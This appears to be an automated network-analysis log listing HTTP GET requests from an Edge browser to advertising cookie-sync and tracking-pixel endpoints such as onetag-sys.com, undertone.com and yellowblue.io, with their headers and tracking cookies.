Source: global traffic	HTTP traffic detected: GET /match/?int_id=3&uid=dd39ddbb587285711a7fdd8ef6a12074&gdpr_consent=&gdpr=0 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=39&uid=d3351913-5c43-42cd-ad4d-9fa9dbd98ee4 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=onetag&ssp_user_id=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA&gdpr=0&gdpr_consent= HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pixel?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11607%26uid%3D%24UID&sovrn_retry=true HTTP/1.1Host: ap.lijit.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bh/rtset?pid=562985&ev=1&us_privacy=&rurl=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D149%26gdpr%3D0%26gdpr_consent%3D%26uid%3D%25%25VGUID%25%25 HTTP/1.1Host: bh.contextweb.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: VP=part_P3nIw6mfctvU; pb_rtb_ev_part=3-1wje\|8i8.0.1
Source: global traffic	HTTP traffic detected: GET /c/882/0/8/1.gif?gdpr=0&gdpr_consent=&gpp=DBACOe%7ECQNBgcAQNBgcAEXikAENA0EwAP_gAEPgACiQGpQCgAGgAcABoAEUAJgAUABHALhAXmA1IC84A4AHAAaABFACYAFAARwC8wAA%7EBQNBgcAQNBgcAEXikAENA0CgAf_AAIfAAAalAKAAaABwAGgARQAmABQAEcAuEBeYDUgLzgDgAcABoAEUAJgAUABHALzA%7E1-N-&gpp_sid=6&us_privacy= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /match/bounce/current?version=1&networkId=72582&rurl=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D90%26gdpr%3D0%26gdpr_consent%3D%26uid%3D HTTP/1.1Host: prebid-match.dotomi.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?aid=11581&id=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA HTTP/1.1Host: cs.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /usersync/disqus?cb=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D33%26buyeruid%3D__ZUID__%26r%3DCid1YS1hNDc3YzRhYi01MjNlLTM3MDQtODA5My04YzVjYTM0ZjY3OGIqYmh0dHBzOi8vY3Mtc2VydmVyLXMycy55ZWxsb3dibHVlLmlvL2NzP2Z3cmQ9MSZhaWQ9MTE2MTImaWQ9dWEtYTQ3N2M0YWItNTIzZS0zNzA0LTgwOTMtOGM1Y2EzNGY2NzhiMgIhKTgB&gdpr=0&gdpr_consent=&obuid=9208f8df-5ee2-45ac-94a7-7e1f65005208&puid=ua-a477c4ab-523e-3704-8093-8c5ca34f678b&s=2&us_privacy= HTTP/1.1Host: b1sync.zemanta.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pub/sync?pubid=pub10101531197440&gdpr=0&gdpr_consent= HTTP/1.1Host: t.adx.opera.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=59&uid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11607&uid= HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /cs?fwrd=1&aid=11571&id=116dd9cd-26eb-459f-94c7-877e1afc3d87&gdpr_consent=null&gdpr=0 HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=onetag.com&id=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partner=rubicon&uid=M7A5MT0O-13-DO11 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ul_cb/check_uuid/https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dgrid%26userId%3D%24%7BBSW_UUID%7D%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D?gdpr=&gdpr_consent=&us_privacy=&uid=${BSW_UUID}&cookie_age=${COOKIE_AGE} HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /match/?int_id=107&uid=4297351098029873353 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /match/?int_id=2&uid=M7A5MT0O-13-DO11&gdpr=0 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=bidswitch&bidswitch_ssp_id=onetag&bsw_user_id=&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /match/?int_id=106&google_error=3&gdpr=0&gdpr_consent= HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /match/?int_id=149&gdpr=0&gdpr_consent=&uid=part_P3nIw6mfctvU&ev=1&us_privacy=&pid=562985 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=59&uid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/cookie?partnerId=grid&userId=&gdpr=&gdpr_consent=&us_privacy= HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=6rz12gNwX1O3pDu1sHGwHOUM7XRU2BhNJPGxCPgJ6ABUiQ1VEU3pGOwF%2FAkcgFlREBCpVdBN6VUNxRlRBXypAbAV%2BUEB0RAYXBCtAO1NtH1JyRgNCBX5ObgZ%2BAkhwQAkQVndGbFB6BkVmWRNFVipDbQF%2BB0N3RwVABn5HaQZ%2FVhZzE1JRS2xCPgIqB0B8TFIRUHkWbgF%2FAkcnFgVGA3pVdBN5AkJxRAESAy9DawIuBUB0RAZLUHtHbgVtH1JyRgUWXnZHbFMtABMgQ1IWA3xHOwJ4BhJmWRNFVSgSbQYsURQiQgMXU3tEYAB8B0V1RVBRS2xCPgZ2BEcmQgVBXypHOgF%2FAkclFgcXUStVdBN5BhVwTABCUXwVbwkuB0ciFFdAUH4UOVNtH1JyQ1QXVXkWaQd6AkJ1QglFV3tEalV%2FVxJmWRNFVXhOaggrVUd3FlMQX3ZOOQkrAUgiRgFRS2xBbgJ%2FUkJwEAlHAnoTbwguCkh8EVRHU3pVdBN5BhQnQwhLAShAagQuAkcgF1NGVy1BOQZtH1JyQwBEA3lEOVMqCkJ2FgdFAytGOlJ2BUBmWRNFUnpEbwB8VhQmFwhHVH5PPAQsA0B8TQVRS2xBbFAuVxR8F1BAAyxPblcuUkElQggSUSxVdBN5BhUiRgVDU3lPaQkrBBZ2EwkXBn5GbFNtH1JyQVIVXnhHbwN9BRZ0FgFBA3pPbgUqUhVmWRNFUS9AYQR9BUJwEVQQUHYTYAl6ABQhFgRRS2xBalcqBhZwR1QVBntCbgEtBUd3RFVHBixVdBN5AUAlRwdEVywSO1MpUUlzQAVEUXlHOVVtH1JyQ1dKVyoWbwUqCxZzRANAVXpPbggsAEBmWRNFUHlFO1IpC0knE1AVUy1FbwB%2BAER2EAVROmJVP1U%2FQVJ%2BDhMaFAsiegspUhw3EB1RACoHKhN1EVJoV1YXFzw0N188Vh4wVwtRRWJVLUIfQRkyFFIKRXRVeh1tVAA0VwtRRWJVP0E%2FYBkgVwtRRWJVKlQrWgIhFkVRXWwfLEU%2FQEprWkQAFWACNlUqQQQrG1RdBCEad0Q8VgIUHEkWC2EEIV8sDAAlB0UdAjw%2BPAx6ClYxHFVOQzUBPEsaQBU2JkgdBAMWO0MgTl
Source: global traffic	HTTP traffic detected: GET /utils/xapi/multi-sync.html?p=vidazoo&endpoint=us-east HTTP/1.1Host: secure-assets.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0ohIJQ32Es3GfyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /api/cookie?partnerId=unruly&userId=OPTOUT&us_privacy=1-N- HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; 